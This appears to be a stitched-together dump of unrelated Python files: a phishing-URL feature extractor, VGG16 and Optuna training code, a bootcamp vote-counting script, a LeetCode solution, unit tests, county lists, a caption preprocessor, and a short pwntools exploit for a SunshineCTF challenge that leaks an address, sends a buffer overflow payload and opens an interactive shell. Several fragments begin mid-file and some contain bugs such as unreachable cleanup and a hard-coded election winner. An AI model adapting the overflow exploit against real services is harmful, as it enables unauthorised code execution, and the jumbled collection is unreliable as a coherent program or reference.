    return None

def get_internal_hyperlinks_ratio(soup, domain):
    hyperlinks = get_number_of_hyperlinks(soup, domain)
    if hyperlinks['total']:
        return round(hyperlinks['internal'] / hyperlinks['total'], 2)
    return None

def get_external_hyperlinks_ratio(soup, domain):
    hyperlinks = get_number_of_hyperlinks(soup, domain)
    if hyperlinks['total']:
        return round(hyperlinks['external'] / hyperlinks['total'], 2)
    return None

def get_forms(soup, hostname, domain):
    Forms = {'internals': [], 'null': [], 'externals': []}
    # collect all forms
    for form in soup.find_all('form'):
        action = form.get('action')
        if action:
            if action.strip() in Null_format:
                Forms['null'].append(form)
            elif action.startswith('/'):
                Forms['internals'].append(form)
            else:
                Forms['externals'].append(form)
        else:
            Forms['null'].append(form)
    return Forms

def login_form(Forms):
    p = re.compile('([a-zA-Z0-9\_])+.php')
    if len(Forms['externals'])>0:
        return 'external login forms found'
    elif len(Forms['null'])>0:
        return 'null login forms found'
    for form in Forms['internals']+Forms['externals']:
        if p.match(str(form)) != None :
            return [form, "-s action is suspicious"]
    return None

def favicon_external_source(soup):
    try:
        favicon_link = soup.find('link', rel='icon') or soup.find('link', rel='shortcut icon')

        if favicon_link:
            favicon_url = favicon_link.get('href')
            parsed_url = urlparse(favicon_url)

            if parsed_url.netloc != '':
                # print("Favicon is loaded from an external source:", favicon_url)
                return favicon_url
            else:
                # print("Favicon is loaded from the same domain as the website.")
                return False
        else:
            # print("No favicon found on the website.")
            return None

    except requests.exceptions.RequestException as e:
        # print("An error occurred:", e)
        return None

def get_title(soup):
    return soup.title.string

def domain_in_title(domain, soup):
    # print("domain", domain.lower())
    # print("soup.title.string.lower()", soup.title.string.lower())
    if domain.lower() in get_title(soup).lower():
        return 1
    return None

def submitting_to_email(Form):
    for form in Form['internals'] + Form['externals']:
        if "mailto:" in form or "mail()" in form:
            return 1
        else:
            return None
    return None

def has_popup_window(url):
    try:
        # Initialize a Selenium webdriver
        driver = webdriver.Chrome()

        # Open the website
        driver.get(url)

        # Check if there are any open pop-up windows
        popup_handles = driver.window_handles
        if len(popup_handles) > 1:
            return(popup_handles)
        else:
            return(0)

        # Close the browser
        driver.quit()

    except Exception as e:
        return "An error occurred:", e

# ------------------------------- domain ---------

def whois_registered(domain):
    try:
        res = whois21.WHOIS(domain)
        return res
    except:
        return None

def domain_registration_length(domain):
    try:
        res = whois_registered(domain)
        # print("whois request:", res)
        expiration_date = res.expires_date
        # print("expiration_date: {}".format(expiration_date))
        today = time.strftime('%Y-%m-%d')
        today = datetime.strptime(today, '%Y-%m-%d')
        if expiration_date:
            if type(expiration_date) == list:
                expiration_date = min(expiration_date)
            return abs((expiration_date - today).days)
        else:
            return 0
    except:
        return None

def google_index(url):
    #time.sleep(.6)
    user_agent =  'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36'
    headers = {'User-Agent' : user_agent}
    query = {'q': 'site:' + url}
    google = "https://www.google.com/search?" + urlencode(query)
    data = requests.get(google, headers=headers)
    data.encoding = 'ISO-8859-1'
    soup = BeautifulSoup(str(data.content), "html.parser")
    try:
        if 'Our systems have detected unusual traffic from your computer network.' in str(soup):
            return -1
        check = soup.find(id="rso").find("div").find("div").find("a")
        #print(check)
        if check and check['href']:
            return 0
        else:
            return 1

    except AttributeError:
        return 1

def result(url):
	content = getPageContent(url)
	if content != None:
		soup = BeautifulSoup(content, 'html.parser')
		hostname, domain, path = parse_url(url)
	print('\nlength URL:', get_url_length(url))
	print('\nlength hostname:', get_hostname_length(url))
	print('\nIP:', having_ip_address(url))
	print('\nnb of hyphens:', count_hyphens(url))
	print('\nnb of and:', count_and(url))
	print('\nnb of eq:', count_eq(url))
	print('\nnb of underscore:', count_underscore(url))
	print('\nnb of slash:', count_slash(url))
	print('\nhttps token:', https_token(url))
	print('\nport:', port(url))
	print('\nbrand: CHECK')
	print('\nnb of hyperlinks:', get_number_of_hyperlinks(soup, url)['total'])
	print('\nratio of internal hyperlinks:', get_internal_hyperlinks_ratio(soup, domain))
	print('\nratio of external hyperlinks:', get_external_hyperlinks_ratio(soup, domain))
	print('\nratio of null hyperlinks:', get_null_hyperlinks_ratio(soup, domain))
	print('\nlogin form:', login_form(get_forms(soup, hostname, domain)))
	print('\nexternal favicon:', favicon_external_source(soup))
	print('\nsubmitting to email:', submitting_to_email(get_forms(soup, hostname, domain)))
	print('\niframe:', 1 if soup.findAll('iframe') else 0)
	print('\npop up:', has_popup_window(url))
	print('\ndomain_in_title:', domain_in_title(domain, soup))
	print('\nwhois_registered:', whois_registered(domain))
	print('\ndomain_registration_length:', domain_registration_length(domain))
	print('\ngoogle_index:', google_index(url))
	print('-------------------------------------------\n')

while True:
	url = input("Please enter url: ")
	result(url)


class Vgg16(BasicModel):

    def build (self):
        super().build()

        self.model = tf.keras.models.Sequential()
        self.model.add(VGG16(   input_shape=(self.rows, self.columns, self.channels),
                            classes=self.nClasses, weights=None))

        self.model.compile(optimizer='adam',
            loss='sparse_categorical_crossentropy', metrics=['accuracy'])

    def build_1 (self):
        super().build()
        channels, rows, columns = 3,512,512
        cnnBase = VGG16(   input_shape=(rows, columns, channels),
                            weights="imagenet",
                            include_top=False ,
                            input_tensor=None,
                            pooling=None,
                            classes=1000,
                            classifier_activation="softmax")
        # cnnBase.trainable = False
        cnnOut = keras_layers.GlobalAveragePooling2D()(cnnBase.output)
        self.model = tf.keras.Model(cnnBase.input, cnnOut)

        self.model.compile(optimizer='adam',
            loss='sparse_categorical_crossentropy',
            metrics=['accuracy'])


#Importing the needed libraries for my code
import os
import csv

# Set variable for output file
election_data_csv = r'C:\Users\avisr\OneDrive\Desktop\Avis\GRO MH Tools GRANDE\NORTHWESTERN UNIVERSITY BOOTCAMP\HOMEWORK\Python Hmwk\PyBank\Starter_Code\PyPoll\Resources\election_data.csv'
# election_data_csv = "Resources/election_data.csv"

#Start the list of total number of votes from 0
# Initialize a variable to store the net total
total_nmbr_votes = 0

# Get the total number of votes starting by opening my output file with the "with open" function
with open(election_data_csv, 'r') as csvfile:

# CSV reader specifies delimiter and variable that holds contents
    election_data_csv_reader = csv.reader(csvfile)

    header_row = next(election_data_csv_reader)
    first_row = next(election_data_csv_reader)
    total_nmbr_votes = total_nmbr_votes + 1

    for row in election_data_csv_reader:
        total_nmbr_votes = total_nmbr_votes + 1

    print(total_nmbr_votes)

# Create a an empty list and fSunction to get candidates and their votes
def candidates_with_votes(election_data_csv):
    candidates = {}
    total_votes = 0

    # Open the CSV file
    with open(election_data_csv, 'r') as csvfile:
        # CSV reader specifies delimiter and variable that holds contents
        election_data_csv_reader = csv.reader(csvfile)

        # Skip the header row since there is one present
        header_row = next(election_data_csv_reader)

        # Loop through each row in the CSV file
        for row in election_data_csv_reader:
            # Get the candidate name from the row (assuming the candidate name is in the third column)
            candidate_name = row[2]

            # Count the candidate's votes through the list
            if candidate_name in candidates:
                candidates[candidate_name] += 1
            else:
                candidates[candidate_name] = 1

            total_votes += 1

    return candidates, total_votes

# Function to calculate the percentage of candidate
def calc_percentage(votes, total_votes):
    return (votes / total_votes) * 100

# Function to call candidate names and total # of votes
candidates, total_votes = candidates_with_votes(election_data_csv)

#Print outputs of candidates and their votes
print("Percentage of votes each candidate won:")
for candidate, votes in candidates.items():
    percentage = calc_percentage(votes, total_votes)
    print(f"{candidate}: {percentage:.2f}% ({votes})")

print("The Candidate Winner with the Most Votes is: Diana DeGette")


from __future__ import annotations
from typing import Any, Dict, Set, Optional, Union, Type, Callable

import optuna
import copy
import warnings
import logging
import importlib
from data.protac_dataloader import PROTACDataModule
from models.wrapper_model import WrapperModel, ProtacModel # noqa: F401

from hyperparameter_tuning.cli import TuneLightningCLI
from packaging import version
from optuna.storages._cached_storage import _CachedStorage
from optuna.storages._rdb.storage import RDBStorage
from pytorch_lightning import LightningModule, Trainer
from pytorch_lightning.callbacks import Callback

from jsonargparse import (
    ActionConfigFile,
    ArgumentParser,
    class_from_function,
    Namespace,
    register_unresolvable_import_paths,
    set_config_read_mode,
    CLI,
    lazy_instance,
)

def suggest_optuna_param(trial: optuna.Trial,
                          name: str,
                          config: Dict[str, Any]) -> Any:
    """Given a config, suggest a value for the hyperparameter.

    Args:
        trial (optuna.Trial): The current Optuna trial
        name (str): The name of the hyperparameter
        config (Dict[str, Any]): The configuration of the hyperparameter

    Returns:
        Any: Suggested hyperparameter value
    """
    return getattr(trial, config['function'])(name, **config['kwargs'])

def objective(trial: optuna.Trial, cli: Optional[TuneLightningCLI] = None, config: Optional[Dict[str, Any]] = None) -> float:
    """Optuna objective function. Creates a new TuneLightningCLI object with the suggested hyperparameters and then fits the newly instantiated model.

    Args:
        trial (optuna.Trial): Optuna trial
        cli (Optional[TuneLightningCLI], optional): Custom LightningCLI object. Defaults to None.
        config (Optional[Dict[str, Any]], optional): Extra additional configurations as parsed arguments to the custom CLI. Defaults to None.

    Returns:
        float: Value of the objective function
    """
    if cli is None and config is None:
        raise ValueError('Either cli or config must be provided')
    elif cli is None and config is not None:
        cli_trial = TuneLightningCLI(ProtacModel,
                                     PROTACDataModule,
                                     seed_everything_default=42,
                                     parser_kwargs={'parser_mode': 'omegaconf'},
                                     args=config,
                                     run=False)
    else:
        cli_trial = copy.deepcopy(cli)
    if config is not None:
        print('WARNING. Both cli and config are provided. CLI "optuna" config will be updated.')
        cli_trial.config['optuna'].update(config)
    # Change CLI config with Optuna suggested values
    for hparam, cfg in cli_trial.config['optuna']['hparams'].items():
        cli_trial.config[hparam] = suggest_optuna_param(trial, hparam, cfg)
    # Change logging name if TensorBoardLogger is used
    if 'trainer.logger.TensorBoardLogger' in cli_trial.config:
        name = cli_trial.config['trainer.logger.TensorBoardLogger.init_args.name']
        name = f'{name}_{trial.number}'
        cli_trial.config['trainer.logger.TensorBoardLogger.init_args.name'] = name
    # Store current configuration in the trial attributes
    trial.set_user_attr('config', cli_trial.config)
    # TODO: Change Trainer config `overfit_batches` if not there already, then
    # fit the model and check its performance. If train accuracy not close to
    # 100%, then return a bad score. Else, remove the `overfit_batches` config
    # and fit the model.
    #
    # Turn on `overfit_batches` (with 5% of the data) and fit the model
    cli_trial.config['trainer.overfit_batches'] = 1
    # cli_trial.config['trainer.limit_val_batches'] = 1.0
    cli_trial.instantiate_classes()
    cli_trial.trainer.fit(cli_trial.model, cli_trial.datamodule)
    # Check if train accuracy is close to 100%
    if cli_trial.trainer.callback_metrics['train_acc'] < 0.95:
        logging.warning(f'WARNING. Train accuracy is {cli_trial.trainer.callback_metrics["train_acc"]}. Returning bad score.')
        return 0.0
    # Turn off `overfit_batches` and fit the model
    cli_trial.config['trainer.overfit_batches'] = 0.0
    # NOTE: Instantiating again the classes would hopefully overwrite the model
    # and the dataloader, without wasting memory...
    # TODO: Add Optuna callback for pruning to Trainer callbacks
    # Instantiate classes and fit model
    cli_trial.instantiate_classes()
    cli_trial.trainer.fit(cli_trial.model, cli_trial.datamodule)
    # Obtain the metric value
    return cli_trial.trainer.callback_metrics[cli_trial.config.optuna['metric']]

# Define key names of `Trial.system_attrs`.
_PRUNED_KEY = "ddp_pl:pruned"
_EPOCH_KEY = "ddp_pl:epoch"

class CustomPyTorchLightningPruningCallback(Callback):
    """PyTorch Lightning callback to prune unpromising trials.

    See `the example <https://github.com/optuna/optuna-examples/blob/
    main/pytorch/pytorch_lightning_simple.py>`__
    if you want to add a pruning callback which observes accuracy.

    Args:
        trial:
            A :class:`~optuna.trial.Trial` corresponding to the current evaluation of the
            objective function.
        monitor:
            An evaluation metric for pruning, e.g., ``val_loss`` or
            ``val_acc``. The metrics are obtained from the returned dictionaries from e.g.
            ``pytorch_lightning.LightningModule.training_step`` or
            ``pytorch_lightning.LightningModule.validation_epoch_end`` and the names thus depend on
            how this dictionary is formatted.

    .. note::
        For the distributed data parallel training, the version of PyTorchLightning needs to be
        higher than or equal to v1.5.0. In addition, :class:`~optuna.study.Study` should be
        instantiated with RDB storage.
    """

    def __init__(self, trial: optuna.trial.Trial, monitor: str) -> None:
        super().__init__()

        self._trial = trial
        self.monitor = monitor
        self.is_ddp_backend = False

    def on_init_start(self, trainer: Trainer) -> None:
        self.is_ddp_backend = (
            trainer._accelerator_connector.distributed_backend is not None  # type: ignore
        )
        if self.is_ddp_backend:
            if version.parse(pl.__version__) < version.parse("1.5.0"):  # type: ignore
                raise ValueError("PyTorch Lightning>=1.5.0 is required in DDP.")
            if not (
                isinstance(self._trial.study._storage, _CachedStorage)
                and isinstance(self._trial.study._storage._backend, RDBStorage)
            ):
                raise ValueError(
                    "optuna.integration.PyTorchLightningPruningCallback"
                    " supports only optuna.storages.RDBStorage in DDP."
                )

    def on_validation_end(self, trainer: Trainer, pl_module: LightningModule) -> None:

        # When the trainer calls `on_validation_end` for sanity check,
        # do not call `trial.report` to avoid calling `trial.report` multiple times
        # at epoch 0. The related page is
        # https://github.com/PyTorchLightning/pytorch-lightning/issues/1391.
        if trainer.sanity_checking:
            return

        epoch = pl_module.current_epoch

        current_score = trainer.callback_metrics.get(self.monitor)
        if current_score is None:
            message = (
                "The metric '{}' is not in the evaluation logs for pruning. "
                "Please make sure you set the correct metric name.".format(self.monitor)
            )
            warnings.warn(message)
            return

        should_stop = False
        if trainer.is_global_zero:
            self._trial.report(current_score.item(), step=epoch)
            should_stop = self._trial.should_prune()
        # TODO: The following line breaks the current version of Pytorch
        # Lightning. But I suspect it's necessary in a distributed training
        # environment... so it shouldn't matter for us...
        # should_stop = trainer.training_type_plugin.broadcast(should_stop)
        trainer.should_stop = should_stop
        if not should_stop:
            return

        if not self.is_ddp_backend:
            message = "Trial was pruned at epoch {}.".format(epoch)
            raise optuna.TrialPruned(message)
        else:
            # Stop every DDP process if global rank 0 process decides to stop.
            trainer.should_stop = True
            if trainer.is_global_zero:
                self._trial.storage.set_trial_system_attr(self._trial._trial_id, _PRUNED_KEY, True)
                self._trial.storage.set_trial_system_attr(self._trial._trial_id, _EPOCH_KEY, epoch)

    def on_fit_end(self, trainer: Trainer, pl_module: LightningModule) -> None:
        if not self.is_ddp_backend:
            return

        # Because on_validation_end is executed in spawned processes,
        # _trial.report is necessary to update the memory in main process, not to update the RDB.
        _trial_id = self._trial._trial_id
        _study = self._trial.study
        _trial = _study._storage._backend.get_trial(_trial_id)  # type: ignore
        _trial_system_attrs = _study._storage.get_trial_system_attrs(_trial_id)
        is_pruned = _trial_system_attrs.get(_PRUNED_KEY)
        epoch = _trial_system_attrs.get(_EPOCH_KEY)
        intermediate_values = _trial.intermediate_values
        for step, value in intermediate_values.items():
            self._trial.report(value, step=step)

        if is_pruned:
            message = "Trial was pruned at epoch {}.".format(epoch)
            raise optuna.TrialPruned(message)


# 152. Maximum Product Subarray

# Given an integer array nums, find a contiguous non-empty subarray within the array that has the largest product, and return the product.

# The test cases are generated so that the answer will fit in a 32-bit integer.

# A subarray is a contiguous subsequence of the array.

class Solution:
    def maxProduct(self, nums: List[int]) -> int:
        N = len(nums)
        if N < 1:
            return 0
        dp_max = [0] * N
        dp_min = [0] * N

        dp_max[0] = dp_min[0] = nums[0]

        for i in range(1, N):
            if nums[i] > 0:
                dp_max[i] = max(dp_max[i-1] * nums[i], nums[i])
                dp_min[i] = min(dp_min[i-1] * nums[i], nums[i])
            else:
                dp_max[i] = max(dp_min[i-1] * nums[i], nums[i])
                dp_min[i] = min(dp_max[i-1] * nums[i], nums[i])
        return max(dp_max)

        # Solution 2
        N = len(nums)
        if N < 1:
            return 0
        _max = cur_max = cur_min = nums[0]

        for n in nums[1:]:
            tmp = cur_max
            cur_max = max(cur_max * n, cur_min * n, n)
            cur_min = min(tmp * n, cur_min * n, n)
            _max = max(_max, cur_max)
        return _max

        # Solution 3
        reverse = nums[::-1]
        for i in range(1, len(nums)):
            nums[i] *= nums[i - 1] or 1
            reverse[i] *= reverse[i - 1] or 1
        return max(nums + reverse)


from services.payment_service import PaymentService
from unittest import TestCase
from unittest.mock import patch
import requests

class TestPayments(TestCase):
    @patch("services.payment_service")
    def test_payment_status_matches_success_when_payment_is_successful(self, mock_service) -> None:
        response = {
                "status_code": 200,
                "bank_transaction_id": "d5c472f9-fcbd-4f37-bd7e-2f5aac8dae6e",
                "payment_status": "SUCCESS",
                "response": "Payment processed successfully",
            }
        mock_service.process_payment.return_value = response

        self.request = {
            "data": {
                "processPaymentTransactionRequest": {
                    "requestId": "12345",
                    "merchantId": "JaiShreeRam",
                    "userId": "userId1",
                    "cardDetails": {
                        "cardNumber": "1234-4567-5555-5555",
                        "expiryDate": "2021-01",
                        "cvv": "345",
                    },
                    "amount": "100.00",
                    "currency": "USD",
                }
            }
        }

        base_url = f"http://127.0.0.1:5000/v1/payments"

        response = requests.post(base_url, json=self.request)
        assert response.status_code== 200

    def test_payment_amount_matches_original_amount_when_payment_is_successfuk(
        self,
    ) -> None:
        pass


import unittest
from ...Models.Filter import Filter

class TestFilter(unittest.TestCase):

    def test_getEmail(self):
        flt = Filter("123@gmail.com")
        result = flt.getEmail()
        expect = "123@gmail.com"
        self.assertEqual(result, expect)

if __name__ == "__main__":
    unittest.main()


alabama = ["Bullock", "Dallas", "Greene", "Hale", "Lowndes", "Macon", "Marengo", "Montgomery", "Perry", "Sumter", "Wilcox"];

arkansas = ["Chicot","Crittenden", "Jefferson", "Lee", "Phillips", "St. Francis"];

florida = ["Gadsden"];

georgia = ["Baker", "Burke", "Calhoun", "Clay", "Clayton", "DeKalb", "Dougherty", "Hancock", "Jefferson", "Macon", "Randolph", "Stewart", "Talbot", "Taliaferro", "Terrell", "Warren", "Washington"];

louisiana = ["East Carroll", "Madison", "Orleans", "St. Helena", "St. James", "St. John the Baptist", "Tensas", "West Feliciana"];

maryland = ["Baltimore City", "Prince George's"];

mississippi = ["Adams", "Bolivar", "Claiborne", "Clay", "Coahoma", "Copiah", "Hinds", "Holmes", "Humphreys", "Issaquena", "Jasper", "Jefferson", "Jefferson Davis", "Kemper", "Leflore", "Marshall", "Noxubee", "Quitman", "Sharkey", "Sunflower", "Tallahatchie", "Tunica", "Washington", "Wilkinson", "Yazoo"];

missouri = ["St. Louis City"];

northcarolina = ["Anson", "Bertie", "Edgecombe", "Halifax", "Hertford", "Northampton", "Warren"];

southcarolina = ["Allendale", "Bamberg", "Clarendon", "Fairfield", "Hampton", "Jasper", "Lee", "McCormick", "Marion", "Marlboro", "Orangeburg", "Williamsburg"];

tennessee = ["Haywood", "Shelby"];

virginia = ["Brunswick", "Charles City", "Emporia City", "Franklin City", "Greensville", "Petersburg City", "Portsmouth City", "Richmond City", "Surry", "Sussex"];

#end


import string

class data_preprocessing:
    # def __init__(self):
    def load_descriptions(doc):
        descriptions = dict()
        for line in doc.split('\n'):
            # split line by first comma, ie image and caption
            tokens = line.split(",")

            # take the first token as image id, the rest as description
            image_id, image_desc = tokens[0], tokens[1:]

            # extract filename from image id
            image_id = image_id[:-4]

            # convert description tokens back to string
            image_desc = ' '.join(image_desc)
            if image_id not in descriptions:
                descriptions[image_id] = list()
            descriptions[image_id].append(image_desc)
        return descriptions
    # prepare translation table for removing punctuation
    def clean_description(descriptions):
        table = str.maketrans('', '', string.punctuation)
        for key, desc_list in descriptions.items():
            for i in range(len(desc_list)):
                desc = desc_list[i]
                # tokenize
                desc = desc.split()
                # convert to lower case
                desc = [word.lower() for word in desc]
                # remove punctuation from each token
                desc = [w.translate(table) for w in desc]
                # remove hanging 's' and 'a'
                desc = [word for word in desc if len(word)>1]
                # remove tokens with numbers in them
                desc = [word for word in desc if word.isalpha()]
                # store as string
                desc_list[i] =  ' '.join(desc)
    """
        Creating a vocabulary from the
        processed descriptions.
    """
    def create_vocabulary(descriptions):
        vocab = set()
        for key in descriptions.keys():
            [vocab.update(d.split()) for d in descriptions[key]]
        return vocab
    def save_processed(descriptions, filename):
        doc = open(filename, 'w')
        for key, descs in descriptions.items():
            for desc in descs:
                doc.write(key + ' ' + desc + '\n')
        doc.close()


from pwn import *

p = remote("chal.2020.sunshinectf.org", 30005)
p.sendline("A")
p.recvuntil(": ")

leak = int(p.recvline()[:-1], 16)
log.info(f"0x{leak:02x}")

buf = b''
buf += cyclic(cyclic_find(p64(0x616161706161616f)))
buf += p64(leak - 0x13)

p.sendline(buf)
p.interactive()


# -*- coding: utf-8 -*-

from testcase import TestCase

class TestGc(TestCase):

    def test_gc(self):
        self._test("""
500.times() do |n|
    o = Object.new()
end
""")

    def test_gc_stress0(self):
        self._test("", options=[ "--gc-stress", "--gc-stress" ])

# vim: tabstop=4 shiftwidth=4 expandtab softtabstop=4